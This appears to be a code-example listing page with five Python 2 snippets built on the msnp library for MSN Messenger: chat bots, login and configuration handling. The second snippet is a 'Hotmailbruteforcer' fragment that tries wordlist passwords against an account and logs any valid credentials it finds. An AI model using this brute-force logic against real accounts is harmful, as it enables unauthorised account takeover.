Exemplo n.º 1
0
 def __init__(self):
     # Create session
     self._session = msnp.Session(MsnListener())
     self._session.callbacks.set_session(self._session)
     # Read screenname and password from config file.  If they're not
     # found, prompt the user for them.
     config = howie.configFile.get()
     try:
         screenname = config['msn.screenname']
         if screenname == "": raise KeyError
     except KeyError:
         screenname = raw_input("MSN Passport ID: ")
     try:
         password = config['msn.password']
         if password == "": raise KeyError
     except KeyError:
         password = getpass.getpass("MSN password for %s: " % screenname)
     # log in
     self._session.login(screenname, password)
     # Set display name
     try:
         displayname = config['msn.displayname']
     except KeyError:
         displayname = configDefaults["msn.displayname"]
     self._session.change_display_name(displayname)
     # Fetch friends list
     self._session.sync_friend_list()
Exemplo n.º 2
0
def main(password):
    global counter
    sys.stdout.write("[-] Trying : %s \n" % (password))
    sys.stdout.flush()
    file.write("[-] Trying : %s \n" % (str(password)))
    try:
        msntmp = msnp.Session(msnparse())
        msntmp.login(email, password)
        print "[+] W00t w00t !!!\n[+] Username : [%s]\n[+] Password : [%s]\n[+] Status : Valid!" % (
            email, password)
        file.write(
            "[+] W00t w00t !!!\n[+] Username : [%s]\n[+] Password : [%s]\n[+] Status : Valid!"
            % (email, password))
        sys.exit(1)
    except msnp.error.HttpError:
        exit
    except msnnologin:
        exit
    except KeyboardInterrupt:
        print "\n[-] Aborting...\n"
        file.write("\n[-] Aborting...\n")
        sys.exit(1)
    counter += 1
    if counter == len(words) / 5:
        print "[+] Hotmailbruteforcer 20% way done..."
        print "[+] Please be patient..."
        file.write("[+] hotmailbruteforcer on 1/4 way done...\n")
        file.write("[+] Please be patient...\n")
    elif counter == len(words) / 4:
        print "[+] Hotmailbruteforcer 25% way done..."
        print "[+] Please be patient..."
        file.write("[+] hotmailbruteforcer on 1/4 way done...\n")
        file.write("[+] Please be patient...\n")
    elif counter == len(words) / 2:
        print "[+] Hotmailbruteforcer on 50% done..."
        print "[+] Please be patient..."
        file.write("[+] hotmailbruteforcer on halfway done...\n")
        file.write("[+] Please be patient...\n")
    elif counter == len(words):
        print "[+] Hotmailbruteforcer done...\n"
        file.write("[+] Hotmailbruteforcer done...!\n")
    msntmp.logout()
Exemplo n.º 3
0
 def __init__(self, username, password):
     self.msnc = msnp.Session()
     self.usrname = username.lstrip()
     self.pwd = password
     self.friends = []
     self.state = None
Exemplo n.º 4
0
class MsnChatListener(msnp.ChatCallbacks):
    def message_received(self, passport_id, display_name, text, charset):
        print "%s %s" % (display_name, text)
        self.chat.send_message(k.respond(text), charset)


#	def friend_joined(self, passport_id, display_name):
#		print "%s start a chat" % display_name


class MsnListener(msnp.SessionCallbacks):
    def chat_started(self, chat):
        callbacks = MsnChatListener()
        chat.callbacks = callbacks
        callbacks.chat = chat
        print chat.display_name, ' start a conversation'


#		chat.send_message('hi')

if __name__ == '__main__':
    msn = msnp.Session(MsnListener())
    msn.login('*****@*****.**', '000000')

    prestart()

    while True:
        msn.process(chats=True)
        time.sleep(1)
Exemplo n.º 5
0
Arquivo: bot.py Projeto: nsapa/msnp.py
        time.sleep(1)


def StopBot(shutdown_reason):
    print "!!! Exit requested (%s), disconnecting ..." % shutdown_reason
    im.change_display_name(display_name + " (AFK)")
    [
        chat_.send_message("Bot shutdown requested (%s)" % shutdown_reason,
                           "utf-8") for chat_ in im.active_chats.values()
    ]
    im.logout()
    sys.exit(0)


if __name__ == "__main__":
    im = msnp.Session(MSNPCallbackIM())

    spam = dict()
    friends_connected = dict()
    chats_session = dict()
    bot_admins = []

    config = ConfigParser.ConfigParser()
    try:
        config.readfp(open('bot.config'))
    except IOError:
        print "Please create a bot.config"
        sys.exit(1)

    login = config.get('account', 'login')
    password = config.get('account', 'pass')